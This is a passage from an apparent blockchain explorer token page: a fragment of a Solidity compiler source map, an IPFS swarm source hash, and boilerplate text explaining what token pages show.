15;3006:375;3094:1;3112:5;3126:249;3147:1;3137:8;3134:15;3126:249;;;3197:4;3192:3;3188:14;3182:4;3179:24;3176:50;;;3206:18;;:::i;:::-;3256:1;3246:8;3242:16;3239:49;;;3270:16;;;;3239:49;3353:1;3349:16;;;;;3309:15;;3126:249;;;3006:375;;;;;;:::o;3386:902::-;3435:5;3465:8;3455:80;;-1:-1:-1;3506:1:1;3520:5;;3455:80;3554:4;3544:76;;-1:-1:-1;3591:1:1;3605:5;;3544:76;3636:4;3654:1;3649:59;;;;3722:1;3717:174;;;;3629:262;;3649:59;3679:1;3670:10;;3693:5;;;3717:174;3754:3;3744:8;3741:17;3738:43;;;3761:18;;:::i;:::-;-1:-1:-1;;3817:1:1;3803:16;;3876:5;;3629:262;;3975:2;3965:8;3962:16;3956:3;3950:4;3947:13;3943:36;3937:2;3927:8;3924:16;3919:2;3913:4;3910:12;3906:35;3903:77;3900:203;;;-1:-1:-1;4012:19:1;;;4088:5;;3900:203;4135:42;-1:-1:-1;;4160:8:1;4154:4;4135:42;:::i;:::-;4213:6;4209:1;4205:6;4201:19;4192:7;4189:32;4186:58;;;4224:18;;:::i;:::-;4262:20;;3386:902;-1:-1:-1;;;3386:902:1:o;4293:140::-;4351:5;4380:47;4421:4;4411:8;4407:19;4401:4;4380:47;:::i;4438:168::-;4511:9;;;4542;;4559:15;;;4553:22;;4539:37;4529:71;;4580:18;;:::i;4611:356::-;4813:2;4795:21;;;4832:18;;;4825:30;4891:34;4886:2;4871:18;;4864:62;4958:2;4943:18;;4611:356::o;4972:230::-;5042:6;5095:2;5083:9;5074:7;5070:23;5066:32;5063:52;;;5111:1;5108;5101:12;5063:52;-1:-1:-1;5156:16:1;;4972:230;-1:-1:-1;4972:230:1:o;5486:277::-;5553:6;5606:2;5594:9;5585:7;5581:23;5577:32;5574:52;;;5622:1;5619;5612:12;5574:52;5654:9;5648:16;5707:5;5700:13;5693:21;5686:5;5683:32;5673:60;;5729:1;5726;5719:12;6120:251;6190:6;6243:2;6231:9;6222:7;6218:23;6214:32;6211:52;;;6259:1;6256;6249:12;6211:52;6291:9;6285:16;6310:31;6335:5;6310:31;:::i;7289:456::-;7377:6;7385;7393;7446:2;7434:9;7425:7;7421:23;7417:32;7414:52;;;7462:1;7459;7452:12;7414:52;-1:-1:-1;;7507:16:1;;7613:2;7598:18;;7592:25;7709:2;7694:18;;;7688:25;7507:16;;7592:25;;-1:-1:-1;7688:25:1;7289:456;-1:-1:-1;7289:456:1:o;10481:125::-;10546:9;;;10567:10;;;10564:36;;;10580:18;;:::i;10966:135::-;11005:3;11026:17;;;11023:43;;11046:18;;:::i;:::-;-1:-1:-1;11093:1:1;11082:13;;10966:135::o;11106:128::-;11173:9;;;11194:11;;;11191:37;;;11208:18;;:::i;11239:217::-;11279:1;11305;11295:132;;11349:10;11344:3;11340:20;11337:1;11330:31;11384:4;11381:1;11374:15;11412:4;11409:1;11402:15;11295:132;-1:-1:-1;11441:9:1;;11239:217::o;11995:127::-;12056:10;12051:3;12047:20;12044:1;12037:31;12087:4;12084:1;12077:15;12111:4;12108:1;12101:15;12127:959;12389:4;12437:3;12426:9;12422:19;12468:6;12457:9;12450:25;12511:6;12506:2;12495:9;12491:18;12484:34;12554:3;12549:2;12538:9;12534:18;12527:31;12578:6;12613;12607:13;12644:6;12636;12629:22;12682:3;12671:9;12667:19;12660:26;;12721:2;12713:6;12709:15;12695:29;;12742:1;12752:195;12766:6;12763:1;12760:13;12752:195;;;12831:13;;-1:-1:-1;;;;;12827:39:1;12815:52;;12896:2;12922:15;;;;12887:12;;;;12863:1;12781:9;12752:195;;;-1:-1:-1;;;;;;;13003:32:1;;;;12998:2;12983:18;;12976:60;-1:-1:-1;;13067:3:1;13052:19;13045:35;12964:3;12127:959;-1:-1:-1;;;12127:959:1:o

Swarm Source

ipfs://087ac3a3a7a25505a43c8b24cc6b1afd32d98995a3dba3be8f70aa26169a5305
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.